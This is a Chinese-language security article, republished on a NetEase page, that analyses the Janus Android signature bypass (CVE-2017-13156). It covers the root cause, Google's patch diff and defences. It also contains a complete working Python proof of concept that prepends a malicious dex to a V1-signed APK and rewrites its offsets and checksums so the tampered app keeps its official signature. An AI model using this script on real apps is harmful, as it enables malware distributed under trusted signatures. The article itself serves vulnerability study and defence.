网易首页 > 网易号 > 正文 申请入驻

Janus签名漏洞(CVE-2017-13156)原理与利用分析

0
分享至

*本文原创作者:Tasfa,本文属FreeBuf原创奖励计划,未经许可禁止转载

0×00 简介

前言:去年比较严重的洞,以比较浅显的方式学习记录一下,网上有很多其他深度分析文章,也可借鉴学习。

Janus签名漏洞可以让攻击者绕过安卓系统的signature scheme V1签名机制,进而直接对App进行篡改。而且由于安卓系统的其他安全机制也是建立在签名和校验基础之上,该漏洞相当于绕过了安卓系统的整个安全机制。

公告详情: https://source.android.com/security/bulletin/2017-12-01

影响: 利用该漏洞的攻击者可注入恶意代码直接修改app而不影响其原始签名,即修改后仍是官方签名

影响范围: Android 5.0-8.0且使用Signaturescheme V1签名的APK文件,不影响Signaturescheme V2

自测:

adb shell dumpsys package pkgName | grep apkSigningVersion 0×01 漏洞原理

Android在4.4引入ART虚拟机,相比较于Dalvik虚拟机仅能运行包装于apk中的dex文件,ART还允许直接运行优化后的dex文件。具体操作是通过读取文件头部的magic字段进行判断,区别执行apk或者dex。

ZIP文件的读取方式是读取文件末尾定位的central directory, 然后通过里面的索引定位到各个zip entry,每个entry解压之后都对应一个文件。ParseZipArchive()函数在进行以上处理时候并没有判断文件头部的magic字段是否为504B0304(即Zip).

因此根据以上两点,攻击者可以通过将恶意dex文件置于apk文件的头部(如上图所示),在系统安装apk文件时,系统安装器解压zip时并没有先判断apk文件的头部magic字段,直接默认是apk(zip)文件,从而直接从文件尾部进行读取解压,此时签名没有任何变化,因此可欺骗系统,从而进行安装。

攻击关键点是当用户点击运行apk时,系统ART虚拟机会去判断文件头部的magic字段,从而使用不同的策略执行文件,由于该apk文件头部被修改为恶意dex,因此art虚拟机直接执行恶意dex文件。

0×02 漏洞利用

漏洞利用PoC:

#!/usr/bin/python import sys import struct import hashlib from zlib import adler32 def update_checksum(data): ''' 生成sha1 hash "<L" 小端存储unsigned long ''' m = hashlib.sha1() m.update(data[32:]) data[12:12+20] = m.digest() #计算Adler-32 checksum v = adler32(buffer(data[12:])) & 0xffffffff data[8:12] = struct.pack("<L", v) def main(): if len(sys.argv) != 4: print("usage: %s dex apk out_apk" % __file__) return _, dex, apk, out_apk = sys.argv #读取dex二进制数据 with open(dex, 'rb') as f: dex_data = bytearray(f.read()) dex_size = len(dex_data) #操作zip文件,可学习一下zip文件格式 with open(apk, 'rb') as f: apk_data = bytearray(f.read()) cd_end_addr = apk_data.rfind('\x50\x4b\x05\x06') #central directory 起始地址 cd_start_addr = struct.unpack("<L", apk_data[cd_end_addr+16:cd_end_addr+20])[0] apk_data[cd_end_addr+16:cd_end_addr+20] = struct.pack("<L", cd_start_addr+dex_size) pos = cd_start_addr while (pos < cd_end_addr): offset = struct.unpack("<L", apk_data[pos+42:pos+46])[0] apk_data[pos+42:pos+46] = struct.pack("<L", offset+dex_size) pos = apk_data.find("\x50\x4b\x01\x02", pos+46, cd_end_addr) if pos == -1: break #注入dex_data out_data = dex_data + apk_data out_data[32:36] = struct.pack("<L", len(out_data)) update_checksum(out_data) with open(out_apk, "wb") as f: f.write(out_data) print ('%s generated' % out_apk) if __name__ == '__main__': main() 0×03 漏洞防御

谷歌官方修复diff:

diff --git a/libziparchive/zip_archive.cc b/libziparchive/zip_archive.cc index 78de40a..d0bbd72 100644 --- a/libziparchive/zip_archive.cc +++ b/libziparchive/zip_archive.cc return -1; } } + + uint32_t lfh_start_bytes; + //读取zip头部信息 + if (!archive->mapped_zip.ReadAtOffset(reinterpret_cast<uint8_t*>(&lfh_start_bytes), + sizeof(uint32_t), 0)) { + ALOGW("Zip: Unable to read header for entry at offset == 0."); + return -1; + } + //增加kSignature头部验证,不同时返回-1 + if (lfh_start_bytes != LocalFileHeader::kSignature) { + ALOGW("Zip: Entry at offset zero has invalid LFH signature %" PRIx32, lfh_start_bytes); + #if defined(__ANDROID__) + android_errorWriteLog(0x534e4554, "64211847"); + #endif + return -1; + } + ALOGV("+++ zip good scan %" PRIu16 " entries", num_entries); return 0;

在解压zip文件时,调用函数ReadAtOffset()读取offset=0的magic字段是否为LocalFileHeader::kSignature(即0x04034b50)

防御:

使用Signaturescheme V2签名

前往官方网站下载正版应用或到阿里PP助手下载安全应用

0×04 参考

New Android vulnerability allows attackers to modify apps without affecting their signatures

Janus漏洞(CVE-2017-13156): 修改安卓app而不影响签名

安卓“Janus”漏洞的产生原理及利用过程

ZIP文件格式分析

*本文原创作者:Tasfa,本文属FreeBuf原创奖励计划,未经许可禁止转载

特别声明:以上内容(如有图片或视频亦包括在内)为自媒体平台“网易号”用户上传并发布,本平台仅提供信息存储服务。

Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.

相关推荐
热点推荐
NBA历史至今一共有多少超巨?合计仅26个,哈登、麦迪都不够格!

NBA历史至今一共有多少超巨?合计仅26个,哈登、麦迪都不够格!

你的篮球频道
2026-05-27 10:00:08
社死现场!女子白拿外卖遭全网围观,播放破2000万,单位火速处置

社死现场!女子白拿外卖遭全网围观,播放破2000万,单位火速处置

潋滟晴方DAY
2026-05-27 10:00:42
Shams:阿特金森继续担任骑士主帅 球队休赛期会尝试补强阵容

Shams:阿特金森继续担任骑士主帅 球队休赛期会尝试补强阵容

罗说NBA
2026-05-27 06:04:59
法网再爆冷!王欣瑜横扫大满贯冠军,送其七次一轮游

法网再爆冷!王欣瑜横扫大满贯冠军,送其七次一轮游

林子说事
2026-05-27 08:18:28
俄乌战争首次:俄军用“榛树”导弹对基辅发动无差别轰炸!

俄乌战争首次:俄军用“榛树”导弹对基辅发动无差别轰炸!

项鹏飞
2026-05-24 19:16:52
从5人到0人:皇马在西班牙队的消亡史,不止是一份名单那么简单

从5人到0人:皇马在西班牙队的消亡史,不止是一份名单那么简单

落夜足球
2026-05-26 16:46:48
凌晨法网战报,2-0,2-1,中国金花两连胜,提前锁定16强席位

凌晨法网战报,2-0,2-1,中国金花两连胜,提前锁定16强席位

桃叶渡春
2026-05-27 08:42:22
传奇落幕!曝40岁魔笛在世界杯后宣布退役 2原因让他拒与米兰续约

传奇落幕!曝40岁魔笛在世界杯后宣布退役 2原因让他拒与米兰续约

我爱英超
2026-05-27 07:15:52
业主信息被卖牵出56人黑灰产链,警方:11人被采取刑事强制措施

业主信息被卖牵出56人黑灰产链,警方:11人被采取刑事强制措施

界面新闻
2026-05-27 08:49:01
雷霆3-2领先马刺!这一战,不得不承认5个现实:亚历山大吃相难看

雷霆3-2领先马刺!这一战,不得不承认5个现实:亚历山大吃相难看

毒舌NBA
2026-05-27 11:43:05
美媒爆料:特朗普提出加入《亚伯拉罕协议》,沙特等国感到惊讶

美媒爆料:特朗普提出加入《亚伯拉罕协议》,沙特等国感到惊讶

凤凰卫视
2026-05-26 10:53:05
发现一个无奈的现象:城市八九十岁老人活着,基本是在“养”保姆

发现一个无奈的现象:城市八九十岁老人活着,基本是在“养”保姆

千秋历史
2026-05-26 19:19:28
张本智和父亲:我儿子已经来到世界第二,下一步就是灭了国乒!

张本智和父亲:我儿子已经来到世界第二,下一步就是灭了国乒!

拳击时空
2026-05-27 04:59:03
伊朗开火,以军机被击落,伊总统要向全球作保证,以色列沦为输家

伊朗开火,以军机被击落,伊总统要向全球作保证,以色列沦为输家

阿丰聊娱
2026-05-27 08:38:16
诚意满满!张雪带台湾馆长看绝密研发,摄像都不让进,就俩人进去

诚意满满!张雪带台湾馆长看绝密研发,摄像都不让进,就俩人进去

童叔不飙车
2026-05-27 11:19:11
诸葛亮最不该害死这4员大将,但凡留1个,10个邓艾也打不进成都

诸葛亮最不该害死这4员大将,但凡留1个,10个邓艾也打不进成都

浩渺青史
2026-05-26 19:31:10
从月销1.5万到2982辆!全新一代问界M9把BBA的饭碗端了!

从月销1.5万到2982辆!全新一代问界M9把BBA的饭碗端了!

凡兮说
2026-05-26 14:07:44
尹衍梁辞世享寿76岁,昔日登报力挺马英九,直言两岸统一是必然

尹衍梁辞世享寿76岁,昔日登报力挺马英九,直言两岸统一是必然

海峡导报社
2026-05-26 11:01:56
越打越强?莫斯科全面限制私人飞行!乌克兰首次空袭加里宁格勒

越打越强?莫斯科全面限制私人飞行!乌克兰首次空袭加里宁格勒

项鹏飞
2026-05-26 17:51:41
惊魂!卡鲁索G5恐怖崴脚,雷霆残阵再遭暴击!

惊魂!卡鲁索G5恐怖崴脚,雷霆残阵再遭暴击!

仰卧撑FTUer
2026-05-27 10:52:04
2026-05-27 13:00:49
FreeBuf
FreeBuf
互联网安全新媒体
5548文章数 1757关注度
往期回顾 全部

头条要闻

武契奇在北京发表演讲 谈及北约轰炸中国驻南联盟使馆

头条要闻

武契奇在北京发表演讲 谈及北约轰炸中国驻南联盟使馆

体育要闻

这群老阿姨,是最硬核的马刺球迷

娱乐要闻

小S晒归宁宴旧照,大S穿吊带裙扎丸子头

财经要闻

ST岩石退市背后:A股“炒壳”时代终结

科技要闻

韬定律:全球在卷纳米数 华为换了一把尺子

汽车要闻

极狐问道V9今日将正式上市 搭载华为雪鸮增程系统

态度原创

家居
本地
教育
房产
健康

家居要闻

古老而持久 石影扶手椅

本地新闻

用剪纸的方式,打开江苏扬州

教育要闻

江西现代职业技术学院:值得填报吗?热门专业就业现状及报考分析#搜索千校视频计划

房产要闻

终极塔尖资产!这可能是海南今年最出圈的豪宅!

打外泌体会比干细胞更安全吗

无障碍浏览 进入关怀版